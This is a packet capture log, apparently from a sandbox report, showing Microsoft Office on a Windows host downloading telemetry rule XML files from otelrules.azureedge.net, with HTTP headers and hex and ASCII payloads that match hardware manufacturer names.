V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:18 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:18 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:18 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4834b854-301e-005d-3ab8-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045918Z-174c587ffdf7t49mhC1TEB4qbg00000005fg0000000015cn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:18 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:18 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:18 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 190bcf01-801e-0078-3650-3cbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045918Z-15b8b599d88pxmdghC1TEBux9c00000005qg000000000s1x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:18 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:20 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:20 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c77577e7-501e-0078-0da6-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045920Z-178bfbc474bpnd5vhC1NYC4vr4000000072g00000000241b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:20 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:20 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: b12c7864-501e-007b-43bf-3e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045920Z-178bfbc474bh5zbqhC1NYCkdug00000006tg00000000mmh2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:20 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:20 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 876ff6fa-901e-00a0-47eb-3d6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045920Z-178bfbc474bp8mkvhC1NYCzqnn00000006ug000000008v5g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:21 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:20 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:21 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 40d9340c-a01e-0050-06b8-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045920Z-178bfbc474bmqmgjhC1NYCy16c000000073g000000004wbk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:20 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6ea5360a-801e-002a-4904-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045920Z-178bfbc474bscnbchC1NYCe7eg000000073000000000cmrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:22 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:22 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: aaf2b452-f01e-0071-621c-3e431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045922Z-15b8b599d88tr2flhC1TEB5gk400000005hg00000000bf23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:23 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:22 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: e1811c2a-201e-00aa-06c6-3e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045923Z-178bfbc474b9fdhphC1NYCac0n0000000710000000000bq8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:22 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 9a3ed3ee-501e-00a0-41c6-3e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045923Z-178bfbc474bgvl54hC1NYCsfuw0000000720000000001xu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:59:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:22 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: fe73205f-901e-0015-38e3-3eb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045923Z-15b8b599d88g5tp8hC1TEByx6w00000005cg00000000df46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:59:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:59:22 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:59:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:59:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 81bf26fc-f01e-0099-6bb6-3e9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T045923Z-178bfbc474b7cbwqhC1NYC8z4n00000006yg000000004krx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
